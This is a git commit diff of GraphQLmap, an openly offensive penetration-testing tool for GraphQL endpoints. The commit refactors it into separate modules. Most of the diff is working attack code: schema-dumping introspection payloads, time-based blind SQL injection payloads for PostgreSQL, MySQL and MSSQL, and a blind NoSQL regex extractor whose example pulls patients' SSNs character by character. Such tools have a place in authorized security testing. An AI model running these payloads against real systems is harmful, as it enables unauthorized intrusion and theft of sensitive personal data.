GRAPHQLMAP - Full code refactor + more sqli

add-license-1
Swissky 2019-07-06 00:01:44 +02:00
parent f5eee87525
commit f534c20970
4 changed files with 316 additions and 203 deletions

View File

@ -11,6 +11,11 @@ Features :
- SQL injection inside a GraphQL field - SQL injection inside a GraphQL field
- GraphQL field fuzzing - GraphQL field fuzzing
I :heart: pull requests, feel free to improve this script :)
You can also contribute with a :beers: IRL or with `buymeacoffee.com`
[![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/swissky)
## Install ## Install
@ -116,3 +121,19 @@ Check > 5d089c51dcab2d0032fdd08d
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b [+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
``` ```
## TODO
* Docker with vulnerable GraphQL
* Unit tests
* Handle node
```
{
user {
edges {
node {
username
}
}
}
}
```

184
attacks.py Normal file
View File

@ -0,0 +1,184 @@
#!/usr/bin/python
import argparse
import json
import re
import readline
import requests
import sys
import time
from utils import *
def display_types(URL, method):
payload = "{__schema{types{name}}}"
r = requester(URL, method, payload)
if r != None:
schema = r.json()
for names in schema['data']['__schema']['types']:
print(names)
def dump_schema(URL, method, graphversion):
"""
Dump the GraphQL schema via Instrospection
:param URL: URL of the GraphQL instance
:param method: HTTP method to use
:param graphversion: GraphQL version
:return: None
"""
if graphversion > 14:
payload = "query+IntrospectionQuery+{++++++++++++++++__schema+{++++++++++++++++queryType+{+name+}++++++++++++++++mutationType+{+name+}++++++++++++++++subscriptionType+{+name+}++++++++++++++++types+{++++++++++++++++++++...FullType++++++++++++++++}++++++++++++++++directives+{++++++++++++++++++++name++++++++++++++++++++description++++++++++++++++++++locations++++++++++++++++++++args+{++++++++++++++++++++...InputValue++++++++++++++++++++}++++++++++++++++}++++++++++++++++}++++++++++++}++++++++++++fragment+FullType+on+__Type+{++++++++++++++++kind++++++++++++++++name++++++++++++++++description++++++++++++++++fields(includeDeprecated:+true)+{++++++++++++++++name++++++++++++++++description++++++++++++++++args+{++++++++++++++++++++...InputValue++++++++++++++++}++++++++++++++++type+{++++++++++++++++++++...TypeRef++++++++++++++++}++++++++++++++++isDeprecated++++++++++++++++deprecationReason++++++++++++++++}++++++++++++++++inputFields+{++++++++++++++++...InputValue++++++++++++++++}++++++++++++++++interfaces+{++++++++++++++++...TypeRef++++++++++++++++}++++++++++++++++enumValues(includeDeprecated:+true)+{++++++++++++++++name++++++++++++++++description++++++++++++++++isDeprecated++++++++++++++++deprecationReason++++++++++++++++}++++++++++++++++possibleTypes+{++++++++++++++++...TypeRef++++++++++++++++}++++++++++++}++++++++++++fragment+InputValue+on+__InputValue+{++++++++++++++++name++++++++++++++++description++++++++++++++++type+{+...TypeRef+}++++++++++++++++defaultValue++++++++++++}++++++++++++fragment+TypeRef+on+__Type+{++++++++++++++++kind++++++++++++++++name++++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++++ofType+{++++++++++++++++++++kind++++++++++++++++++++name++++++++++++++++++++ofType+{++++++++++++++++++++kind++++++++++++++++++++name++++++++++++++++++++ofType+{++++++++++++++++++++++++kind++++++++++++++++++++++++name++++++++++++++++++++++++ofType+{++++++++++++++++++++++++kind++++++++++++++++++++++++name++++++++++++++++++++++++ofType+{++++++++++++++++++++++++++++kind++++++++++++++++++++++++++++name++++++++++++++++++++++++++++ofType+{++++++++++++++++++++++++++++kind++++++++++++++++++++++++++++name++++++++++++++++++++++++++++}++++++++++++++++++++++++}++++++++++++++++++++++++}++++++++++++++++++++}++++++++++++++++++++}++++++++++++++++}++++++++++++++++}++++++++++++}"
else:
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
r = requester(URL, method, payload)
schema = r.json()
print("============= [SCHEMA] ===============")
print("e.g: \033[92mname\033[0m[\033[94mType\033[0m]: arg (\033[93mType\033[0m!)\n")
for types in schema['data']['__schema']['types']:
if types['kind'] == "OBJECT":
print(types['name'])
if not "__" in types['name']:
for fields in types['fields']:
field_type = ""
try:
field_type = fields['type']['ofType']['name']
except Exception as e :
pass
print("\t\033[92m{}\033[0m[\033[94m{}\033[0m]: ".format(fields['name'], field_type), end='')
# add the field to the autocompleter
cmdlist.append(fields['name'])
for args in fields['args']:
args_name = args.get('name')
args_tkind = ""
args_ttype = ""
try:
args_tkind = args['type']['kind']
except:
pass
try:
args_ttype = args['type']['ofType']['name']
except Exception as e:
pass
print("{} (\033[93m{}\033[0m!), ".format(args_name, args_ttype), end='')
cmdlist.append(args_name)
print("")
def exec_graphql(URL, method, query, only_length=0):
r = requester(URL, method, query)
try:
graphql = r.json()
errors = graphql.get("errors")
# handle errors in JSON data
if(errors):
return ("\033[91m" + errors[0]['message'] + "\033[0m")
else:
try:
jq_data = jq(graphql)
# handle blind injection (content length)
if only_length:
return (len(jq_data))
# otherwise return the JSON content
else:
return (jq(graphql))
except:
# when the content isn't a valid JSON, return a text
return (r.text)
except Exception as e:
return "\033[91m[!]\033[0m {}".format(str(e))
def exec_advanced(URL, method, query):
print(query)
# Allow a user to bruteforce character from a charset
# e.g: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
if "GRAPHQL_CHARSET" in query:
GRAPHQL_CHARSET = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
for c in GRAPHQL_CHARSET:
length = exec_graphql(URL, method, query.replace("GRAPHQL_CHARSET", c), only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
# Allow a user to bruteforce number from a specified range
# e.g: {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine3GRAPHQL_INCREMENT_10@yahoo.com\"} }"){id, lastName, email}}
elif "GRAPHQL_INCREMENT_" in query:
regex = re.compile("GRAPHQL_INCREMENT_(\d*)")
match = regex.findall(query)
for i in range(int(match[0])):
pattern = "GRAPHQL_INCREMENT_" + match[0]
length = exec_graphql(URL, method, query.replace(pattern, str(i)), only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
# Otherwise execute the query and display the JSON result
else:
print(exec_graphql(URL, method, query))
def blind_postgresql(URL, method):
query = input("Query > ")
payload = "1 AND pg_sleep(30) --"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
r = requester(URL, method, injected)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
def blind_mysql(URL, method):
query = input("Query > ")
payload = "'-SLEEP(30); #"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
r = requester(URL, method, injected)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
def blind_mssql(URL, method):
query = input("Query > ")
payload = "'; WAITFOR DELAY '00:00:30';"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
r = requester(URL, method, injected)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
def blind_nosql(URL, method):
# Query : {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
# Check : "5d089c51dcab2d0032fdd08d"
query = input("Query > ")
check = input("Check > ")
data = ""
data_size = 35
charset = "0123456789abcdef-"
while len(data) != data_size:
for c in charset:
injected = query.replace("BLIND_PLACEHOLDER", data + c)
r = requester(URL, method, injected)
if check in r.text:
data += c
# display data and update the current line
print("\r\033[92m[+] Data found:\033[0m {}".format(data), end='', flush=False)
# force a line return to clear the screen after the data trick
print("")

View File

@ -1,220 +1,71 @@
#!/usr/bin/python #!/usr/bin/python
import time
import sys
import re
import requests
import json
import readline
import argparse import argparse
import json
import re
import readline
import requests
import sys
import time
from utils import *
from attacks import *
cmdlist = ["exit", "help", "dump", "sqli", "nosqli", "mutation", "$regex", "$ne", "__schema"] class GraphQLmap(object):
author = "@pentest_swissky"
version = "1.0"
endpoint = "graphql"
method = "POST"
args = None
url = None
def auto_completer(text, state): def __init__(self, args):
options = [x for x in cmdlist if x.startswith(text)] print(" _____ _ ____ _ ")
try: print(" / ____| | | / __ \| | ")
return options[state] print(" | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ ")
except IndexError: print(" | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ ")
return None print(" | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |")
print(" \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ ")
print(" | | | | ")
print(" |_| |_| ")
print(" "*30 + f"\033[1mAuthor\033[0m: {self.author} \033[1mVersion\033[0m: {self.version} ")
self.args = args
self.url = args.url
self.method = args.method
while True:
query = input("GraphQLmap > ")
cmdlist.append(query)
if query == "exit" or query == "q":
exit()
def jq(data): elif query == "help":
return json.dumps(data, indent=4, sort_keys=True) display_help()
def display_types(URL):
payload = "{__schema{types{name}}}"
r = requests.get( URL.format(payload) )
schema = r.json()
for names in schema['data']['__schema']['types']:
print(names)
def dump_schema(URL):
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
r = requests.get( URL.format(payload) )
schema = r.json()
print("============= [SCHEMA] ===============")
print("e.g: \033[92mname\033[0m[\033[94mType\033[0m]: arg (\033[93mType\033[0m!)\n")
for types in schema['data']['__schema']['types']:
if types['kind'] == "OBJECT":
print(types['name'])
if not "__" in types['name']:
for fields in types['fields']:
field_type = ""
try:
field_type = fields['type']['ofType']['name']
except Exception as e :
pass
print("\t\033[92m{}\033[0m[\033[94m{}\033[0m]: ".format(fields['name'], field_type), end='')
# add the field to the autocompleter
cmdlist.append(fields['name'])
for args in fields['args']:
args_name = args.get('name')
args_tkind = ""
args_ttype = ""
try:
args_tkind = args['type']['kind']
except:
pass
try:
args_ttype = args['type']['ofType']['name']
except Exception as e:
pass
print("{} (\033[93m{}\033[0m!), ".format(args_name, args_ttype), end='')
cmdlist.append(args_name)
print("")
def exec_graphql(URL, query, only_length=0):
r = requests.get( URL.format(query) )
try:
graphql = r.json()
errors = graphql.get("errors")
# handle errors in JSON data
if(errors):
return ("\033[91m" + errors[0]['message'] + "\033[0m")
else:
try:
jq_data = jq(graphql)
# handle blind injection (content length)
if only_length:
return (len(jq_data))
# otherwise return the JSON content
else:
return (jq(graphql))
except:
# when the content isn't a valid JSON, return a text
return (r.text)
except Exception as e:
return "\033[91m[!]\033[0m {}".format(str(e))
def exec_advanced(URL, query):
# Allow a user to bruteforce character from a charset
# e.g: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
if "GRAPHQL_CHARSET" in query:
GRAPHQL_CHARSET = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
for c in GRAPHQL_CHARSET:
length = exec_graphql(URL, query.replace("GRAPHQL_CHARSET", c), only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
# Allow a user to bruteforce number from a specified range
# e.g: {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine3GRAPHQL_INCREMENT_10@yahoo.com\"} }"){id, lastName, email}}
elif "GRAPHQL_INCREMENT_" in query:
regex = re.compile("GRAPHQL_INCREMENT_(\d*)")
match = regex.findall(query)
for i in range(int(match[0])):
pattern = "GRAPHQL_INCREMENT_" + match[0]
length = exec_graphql(URL, query.replace(pattern, str(i)), only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
# Otherwise execute the query and display the JSON result
else:
print(exec_graphql(URL, query))
def blind_sql(URL): elif query == "debug":
query = input("Query > ") display_types(self.url, self.method)
payload = "1 AND pg_sleep(30) --"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", payload)
r = requests.get(injected)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime( time.localtime(time.time()))))
elif query == "dump_new":
dump_schema(self.url, self.method, 15)
def blind_nosql(URL): elif query == "dump_old":
# Query : {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} dump_schema(self.url, self.method, 14)
# Check : "5d089c51dcab2d0032fdd08d"
query = input("Query > ") elif query == "nosqli":
check = input("Check > ") blind_nosql(self.url, self.method)
data = ""
data_size = 35
charset = "0123456789abcdef-"
while len(data) != data_size: elif query == "postgresqli":
for c in charset: blind_postgresql(self.url, self.method)
injected = (URL.format(query)).replace("BLIND_PLACEHOLDER", data + c)
r = requests.get(injected)
if check in r.text:
data += c
# display data and update the current line elif query == "mysqli":
print("\r\033[92m[+] Data found:\033[0m {}".format(data), end='', flush=False) blind_mysql(self.url, self.method)
# force a line return to clear the screen after the data trick elif query == "mssql":
print("") blind_mssql(self.url, self.method)
def display_banner():
print(" _____ _ ____ _ ")
print(" / ____| | | / __ \| | ")
print(" | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ ")
print(" | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ ")
print(" | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |")
print(" \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ ")
print(" | | | | ")
print(" |_| |_| ")
print(" Author:Swissky Version:1.0")
def display_help():
print("[+] \033[92mdump \033[0m: extract the graphql endpoint and arguments")
print("[+] \033[92mnosqli\033[0m: exploit a nosql injection inside a graphql query")
print("[+] \033[92msqli \033[0m: exploit a sql injection inside a graphql query")
print("[+] \033[92mexit \033[0m: gracefully exit the application")
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', action ='store', dest='url', help="URL to query : example.com/graphql?query={}")
parser.add_argument('-v', action ='store', dest='verbosity', help="Enable verbosity", nargs='?', const=True)
results = parser.parse_args()
if results.url == None:
parser.print_help()
exit()
return results
else:
exec_advanced(args.url, self.method, query)
if __name__ == "__main__": if __name__ == "__main__":
display_banner()
args = parse_args()
readline.set_completer(auto_completer) readline.set_completer(auto_completer)
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")
args = parse_args()
while True: GraphQLmap(args)
query = input("GraphQLmap > ")
cmdlist.append(query)
if query == "exit" or query == "q":
exit()
elif query == "help":
display_help()
elif query == "dump":
dump_schema(args.url)
elif query == "nosqli":
blind_nosql(args.url)
elif query == "sqli":
blind_sql(args.url)
else:
exec_advanced(args.url, query)

57
utils.py Normal file
View File

@ -0,0 +1,57 @@
#!/usr/bin/python
import argparse
import json
import re
import readline
import requests
import sys
import time
cmdlist = ["exit", "help", "dump_old", "dump_new", "postgresqli", "mysqli", "mssqli", "nosqli", "mutation", "edges", "node", "$regex", "$ne", "__schema"]
def auto_completer(text, state):
options = [x for x in cmdlist if x.startswith(text)]
try:
return options[state]
except IndexError:
return None
def jq(data):
return json.dumps(data, indent=4, sort_keys=True)
def requester(URL, method, payload):
if method == "POST":
data = {
"query": payload.replace("+", " ")
}
r = requests.post(URL, data=data)
if r.status_code == 500:
print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m")
return None
else:
r = requests.get( URL+"?query={}".format(payload) )
return r
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', action ='store', dest='url', help="URL to query : example.com/graphql?query={}")
parser.add_argument('-v', action ='store', dest='verbosity', help="Enable verbosity", nargs='?', const=True)
parser.add_argument('--method', action ='store', dest='method', help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET")
results = parser.parse_args()
if results.url == None:
parser.print_help()
exit()
return results
def display_help():
print("[+] \033[92mdump_old \033[0m: dump GraphQL schema (fragment+FullType)")
print("[+] \033[92mdump_new \033[0m: dump GraphQL schema (IntrospectionQuery)")
print("[+] \033[92mnosqli \033[0m: exploit a nosql injection inside a GraphQL query")
print("[+] \033[92mpostgresqli \033[0m: exploit a sql injection inside a GraphQL query")
print("[+] \033[92mysqli \033[0m: exploit a sql injection inside a GraphQL query")
print("[+] \033[92mssqli \033[0m: exploit a sql injection inside a GraphQL query")
print("[+] \033[92mexit \033[0m: gracefully exit the application")